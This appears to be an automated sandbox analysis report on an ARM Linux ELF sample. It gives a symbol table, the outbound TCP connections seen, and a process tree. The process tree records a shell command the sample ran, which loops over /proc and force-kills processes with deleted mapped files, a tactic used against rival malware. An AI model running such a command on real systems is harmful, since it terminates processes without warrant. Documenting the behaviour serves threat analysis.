__adddf3	.symtab	0x1d0d0	784	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmpeq	.symtab	0x11afc	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmple	.symtab	0x11afc	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdrcmple	.symtab	0x11ae0	52	FUNC	<unknown>	HIDDEN	2
__aeabi_d2uiz	.symtab	0x1d97c	84	FUNC	<unknown>	HIDDEN	2
__aeabi_dadd	.symtab	0x1d0d0	784	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpeq	.symtab	0x11b14	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpge	.symtab	0x11b5c	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpgt	.symtab	0x11b74	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmple	.symtab	0x11b44	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmplt	.symtab	0x11b2c	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ddiv	.symtab	0x1d770	524	FUNC	<unknown>	HIDDEN	2
__aeabi_dmul	.symtab	0x1d4e0	656	FUNC	<unknown>	HIDDEN	2
__aeabi_drsub	.symtab	0x1d0c4	0	FUNC	<unknown>	HIDDEN	2
__aeabi_dsub	.symtab	0x1d0cc	788	FUNC	<unknown>	HIDDEN	2
__aeabi_f2d	.symtab	0x1d42c	64	FUNC	<unknown>	HIDDEN	2
__aeabi_i2d	.symtab	0x1d404	40	FUNC	<unknown>	HIDDEN	2
__aeabi_idiv	.symtab	0x1cf80	0	FUNC	<unknown>	HIDDEN	2
__aeabi_idivmod	.symtab	0x1d0ac	24	FUNC	<unknown>	HIDDEN	2
__aeabi_l2d	.symtab	0x1d480	96	FUNC	<unknown>	HIDDEN	2
__aeabi_read_tp	.symtab	0x1a190	8	FUNC	<unknown>	DEFAULT	2
__aeabi_ui2d	.symtab	0x1d3e0	36	FUNC	<unknown>	HIDDEN	2
__aeabi_uidiv	.symtab	0x11938	0	FUNC	<unknown>	HIDDEN	2
__aeabi_uidivmod	.symtab	0x11a34	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ul2d	.symtab	0x1d46c	116	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr0	.symtab	0x1e684	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr1	.symtab	0x1e67c	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr2	.symtab	0x1e674	8	FUNC	<unknown>	HIDDEN	2
__app_fini	.symtab	0x3091c	4	OBJECT	<unknown>	HIDDEN	14
__atexit_lock	.symtab	0x2a2f8	24	OBJECT	<unknown>	DEFAULT	13
__bss_end__	.symtab	0x39850	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.symtab	0x2a31c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.symtab	0x2a31c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x19484	84	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x19040	100	FUNC	<unknown>	DEFAULT	2
__close_nocancel	.symtab	0x19024	24	FUNC	<unknown>	DEFAULT	2
__cmpdf2	.symtab	0x11a5c	132	FUNC	<unknown>	HIDDEN	2
__ctype_b	.symtab	0x2a12c	4	OBJECT	<unknown>	DEFAULT	13
__curbrk	.symtab	0x30e9c	4	OBJECT	<unknown>	HIDDEN	14
__cxa_begin_cleanup	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_call_unexpected	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_type_match	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__data_start	.symtab	0x2a0bc	0	NOTYPE	<unknown>	DEFAULT	13
__default_rt_sa_restorer	.symtab	0x1a188	0	FUNC	<unknown>	DEFAULT	2
__default_sa_restorer	.symtab	0x1a17c	0	FUNC	<unknown>	DEFAULT	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__div0	.symtab	0x11b8c	20	FUNC	<unknown>	HIDDEN	2
__divdf3	.symtab	0x1d770	524	FUNC	<unknown>	HIDDEN	2
__divsi3	.symtab	0x1cf80	300	FUNC	<unknown>	HIDDEN	2
__do_global_dtors_aux	.symtab	0x80f0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux_fini_array_entry	.symtab	0x2a008	0	OBJECT	<unknown>	DEFAULT	10
__end__	.symtab	0x39850	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__environ	.symtab	0x30914	4	OBJECT	<unknown>	DEFAULT	14
__eqdf2	.symtab	0x11a5c	132	FUNC	<unknown>	HIDDEN	2
__errno_location	.symtab	0x12a1c	32	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exidx_end	.symtab	0x21c28	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.symtab	0x21b08	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x303c4	4	OBJECT	<unknown>	HIDDEN	14
__extendsfdf2	.symtab	0x1d42c	64	FUNC	<unknown>	HIDDEN	2
__fcntl_nocancel	.symtab	0x11ba0	152	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x1c09c	300	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x2a00c	0	NOTYPE	<unknown>	HIDDEN	10
__fini_array_start	.symtab	0x2a008	0	NOTYPE	<unknown>	HIDDEN	10
__fixunsdfsi	.symtab	0x1d97c	84	FUNC	<unknown>	HIDDEN	2
__floatdidf	.symtab	0x1d480	96	FUNC	<unknown>	HIDDEN	2
__floatsidf	.symtab	0x1d404	40	FUNC	<unknown>	HIDDEN	2
__floatundidf	.symtab	0x1d46c	116	FUNC	<unknown>	HIDDEN	2
__floatunsidf	.symtab	0x1d3e0	36	FUNC	<unknown>	HIDDEN	2
__fork	.symtab	0x1894c	972	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x3981c	4	OBJECT	<unknown>	HIDDEN	14
__fork_handlers	.symtab	0x39820	4	OBJECT	<unknown>	HIDDEN	14
__fork_lock	.symtab	0x303c8	4	OBJECT	<unknown>	HIDDEN	14
__frame_dummy_init_array_entry	.symtab	0x2a004	0	OBJECT	<unknown>	DEFAULT	9
__gedf2	.symtab	0x11a4c	148	FUNC	<unknown>	HIDDEN	2
__gen_tempname	.symtab	0x1a8e0	876	FUNC	<unknown>	HIDDEN	2
__getdents	.symtab	0x1a2ec	160	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x1cbdc	328	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x1a3f4	40	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x18db0	72	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r	.symtab	0x159e4	24	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__gnu_Unwind_Find_exidx	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__gnu_Unwind_ForcedUnwind	.symtab	0x1de28	28	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_RaiseException	.symtab	0x1df10	184	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Restore_VFP	.symtab	0x1e6a8	0	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume	.symtab	0x1dea4	108	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume_or_Rethrow	.symtab	0x1dfc8	32	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Save_VFP	.symtab	0x1e6b0	0	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_execute	.symtab	0x1e78c	1812	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_frame	.symtab	0x1eea0	72	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_pr_common	.symtab	0x1e12c	1352	FUNC	<unknown>	DEFAULT	2
__gtdf2	.symtab	0x11a4c	148	FUNC	<unknown>	HIDDEN	2
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x2a008	0	NOTYPE	<unknown>	HIDDEN	9
__init_array_start	.symtab	0x2a004	0	NOTYPE	<unknown>	HIDDEN	9
__ledf2	.symtab	0x11a54	140	FUNC	<unknown>	HIDDEN	2
__libc_accept	.symtab	0x15c48	116	FUNC	<unknown>	DEFAULT	2
__libc_close	.symtab	0x19040	100	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x15d44	116	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x19260	136	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x192e8	220	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	8
__libc_fcntl	.symtab	0x11c38	244	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x1894c	972	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	8
__libc_multiple_threads	.symtab	0x39824	4	OBJECT	<unknown>	HIDDEN	14
__libc_nanosleep	.symtab	0x1a5ac	96	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x190d0	100	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x191f0	100	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x15ec8	112	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x15f80	136	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x1219c	132	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x1604c	112	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x16108	136	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x1c874	560	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x1a0e8	136	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x30910	4	OBJECT	<unknown>	DEFAULT	14
__libc_system	.symtab	0x19fbc	132	FUNC	<unknown>	DEFAULT	2
__libc_waitpid	.symtab	0x1a6cc	124	FUNC	<unknown>	DEFAULT	2
__libc_write	.symtab	0x19160	100	FUNC	<unknown>	DEFAULT	2
__lll_lock_wait_private	.symtab	0x18d18	152	FUNC	<unknown>	HIDDEN	2
__ltdf2	.symtab	0x11a54	140	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x17310	436	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x163b0	120	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x2a21c	24	OBJECT	<unknown>	DEFAULT	13
__malloc_state	.symtab	0x394a4	888	OBJECT	<unknown>	DEFAULT	14
__malloc_trim	.symtab	0x17260	176	FUNC	<unknown>	DEFAULT	2
__muldf3	.symtab	0x1d4e0	656	FUNC	<unknown>	HIDDEN	2
__nedf2	.symtab	0x11a5c	132	FUNC	<unknown>	HIDDEN	2
__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x190d0	100	FUNC	<unknown>	DEFAULT	2
__open_nocancel	.symtab	0x190b4	24	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x30918	4	OBJECT	<unknown>	DEFAULT	14
__preinit_array_end	.symtab	0x2a004	0	NOTYPE	<unknown>	HIDDEN	8
__preinit_array_start	.symtab	0x2a004	0	NOTYPE	<unknown>	HIDDEN	8
__progname	.symtab	0x2a314	4	OBJECT	<unknown>	DEFAULT	13
__progname_full	.symtab	0x2a318	4	OBJECT	<unknown>	DEFAULT	13
__pthread_initialize_minimal	.symtab	0x1caa4	12	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_init	.symtab	0x193cc	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x193c4	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x193c4	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x193c4	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x193c4	8	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__read	.symtab	0x191f0	100	FUNC	<unknown>	DEFAULT	2
__read_nocancel	.symtab	0x191d4	24	FUNC	<unknown>	DEFAULT	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__restore_core_regs	.symtab	0x1e68c	28	FUNC	<unknown>	HIDDEN	2
__rtld_fini	.symtab	0x30920	4	OBJECT	<unknown>	HIDDEN	14
__sigaddset	.symtab	0x16368	36	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x1638c	36	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x16344	36	FUNC	<unknown>	DEFAULT	2
__sigjmp_save	.symtab	0x1cf40	64	FUNC	<unknown>	HIDDEN	2
__sigsetjmp	.symtab	0x1cb98	12	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x2a140	4	OBJECT	<unknown>	DEFAULT	13
__stdio_READ	.symtab	0x1ce14	88	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x1b270	220	FUNC	<unknown>	HIDDEN	2
__stdio_adjust_position	.symtab	0x13254	200	FUNC	<unknown>	HIDDEN	2
__stdio_fwrite	.symtab	0x1b34c	320	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x1ce6c	48	FUNC	<unknown>	HIDDEN	2
__stdio_seek	.symtab	0x13990	60	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x1ce9c	164	FUNC	<unknown>	HIDDEN	2
__stdio_trans2w_o	.symtab	0x1b48c	220	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x13960	48	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x2a144	4	OBJECT	<unknown>	DEFAULT	13
__subdf3	.symtab	0x1d0cc	788	FUNC	<unknown>	HIDDEN	2
__sys_accept	.symtab	0x15c04	68	FUNC	<unknown>	DEFAULT	2
__sys_connect	.symtab	0x15d00	68	FUNC	<unknown>	DEFAULT	2
__sys_recv	.symtab	0x15e84	68	FUNC	<unknown>	DEFAULT	2
__sys_recvfrom	.symtab	0x15f38	72	FUNC	<unknown>	DEFAULT	2
__sys_send	.symtab	0x16008	68	FUNC	<unknown>	DEFAULT	2
__sys_sendto	.symtab	0x160bc	76	FUNC	<unknown>	DEFAULT	2
__syscall_error	.symtab	0x1a0bc	44	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x1a56c	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x1a1a0	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0x12158	68	FUNC	<unknown>	DEFAULT	2
__tls_get_addr	.symtab	0x1c850	36	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x19408	124	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x194d8	88	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x19530	1004	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x2a310	4	OBJECT	<unknown>	HIDDEN	13
__udivsi3	.symtab	0x11938	252	FUNC	<unknown>	HIDDEN	2
__write	.symtab	0x19160	100	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x19144	24	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r	.symtab	0x159fc	268	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__xstat32_conv	.symtab	0x1248c	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x123c0	204	FUNC	<unknown>	HIDDEN	2
_adjust_pos.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_bss_custom_printf_spec	.symtab	0x303b4	10	OBJECT	<unknown>	DEFAULT	14
_bss_end__	.symtab	0x39850	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_charpad	.symtab	0x13b10	84	FUNC	<unknown>	DEFAULT	2
_cs_funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_custom_printf_arginfo	.symtab	0x3944c	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_handler	.symtab	0x39474	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_spec	.symtab	0x2a218	4	OBJECT	<unknown>	HIDDEN	13
_dl_aux_init	.symtab	0x1cab0	56	FUNC	<unknown>	DEFAULT	2
_dl_nothread_init_static_tls	.symtab	0x1cae8	88	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x39848	4	OBJECT	<unknown>	DEFAULT	14
_dl_phnum	.symtab	0x3984c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_gaps	.symtab	0x3983c	1	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_slotinfo_list	.symtab	0x39838	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_generation	.symtab	0x39840	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_max_dtv_idx	.symtab	0x39830	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_setup	.symtab	0x1c7e8	104	FUNC	<unknown>	DEFAULT	2
_dl_tls_static_align	.symtab	0x3982c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_nelem	.symtab	0x39844	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_size	.symtab	0x39834	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_used	.symtab	0x39828	4	OBJECT	<unknown>	DEFAULT	14
_edata	.symtab	0x2a31c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x39850	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.symtab	0x1a1e0	104	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x1ef1c	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x2e3b4	8192	OBJECT	<unknown>	DEFAULT	14
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fp_out_narrow	.symtab	0x13b64	132	FUNC	<unknown>	DEFAULT	2
_fpmaxtostr	.symtab	0x1b764	2036	FUNC	<unknown>	HIDDEN	2
_fpmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_init	.symtab	0x80d4	0	FUNC	<unknown>	DEFAULT	1
_load_inttype	.symtab	0x1b568	116	FUNC	<unknown>	HIDDEN	2
_load_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_memcpy	.symtab	0x1155c	36	FUNC	<unknown>	DEFAULT	2
_ppfs_init	.symtab	0x142dc	160	FUNC	<unknown>	HIDDEN	2
_ppfs_init.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_parsespec	.symtab	0x145c4	1392	FUNC	<unknown>	HIDDEN	2
_ppfs_parsespec.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_prepargs	.symtab	0x1437c	68	FUNC	<unknown>	HIDDEN	2
_ppfs_prepargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_setargs	.symtab	0x143c0	432	FUNC	<unknown>	HIDDEN	2
_ppfs_setargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 21:32:00.151637077 CET	43928	443	192.168.2.23	91.189.91.42
Dec 31, 2024 21:32:05.523138046 CET	42836	443	192.168.2.23	91.189.91.43
Dec 31, 2024 21:32:07.058883905 CET	42516	80	192.168.2.23	109.202.202.202
Dec 31, 2024 21:32:21.392899990 CET	43928	443	192.168.2.23	91.189.91.42
Dec 31, 2024 21:32:31.631477118 CET	42836	443	192.168.2.23	91.189.91.43
Dec 31, 2024 21:32:37.774627924 CET	42516	80	192.168.2.23	109.202.202.202
Dec 31, 2024 21:33:02.347294092 CET	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: arm7.elf PID: 6237, Parent PID: 6163

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/tmp/arm7.elf
Arguments:	/tmp/arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm7.elf PID: 6239, Parent PID: 6237

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 6239, Parent PID: 6237

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "for pid in $(ls /proc \| grep -E '^[0-9]+$'); do grep -q '(deleted)' /proc/$pid/maps && kill -9 $pid \|\| true; done;"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6245, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6246, Parent PID: 6245

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: ls PID: 6246, Parent PID: 6245

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/ls
Arguments:	ls /proc
File size:	142144 bytes
MD5 hash:	e7793f15c2ff7e747b4bc7079f5cd4f7

Chronological Activities

Analysis Process: sh PID: 6247, Parent PID: 6245

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6247, Parent PID: 6245

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -E ^[0-9]+$
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6248, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6248, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6249, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6249, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/10/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6250, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6250, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/100/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6251, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6251, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/101/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6252, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6252, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/102/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6253, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6253, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/103/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6254, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6254, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/104/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6255, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6255, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/105/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6256, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6256, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/106/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6257, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6257, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/107/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6258, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6258, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/108/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6259, Parent PID: 6239

General

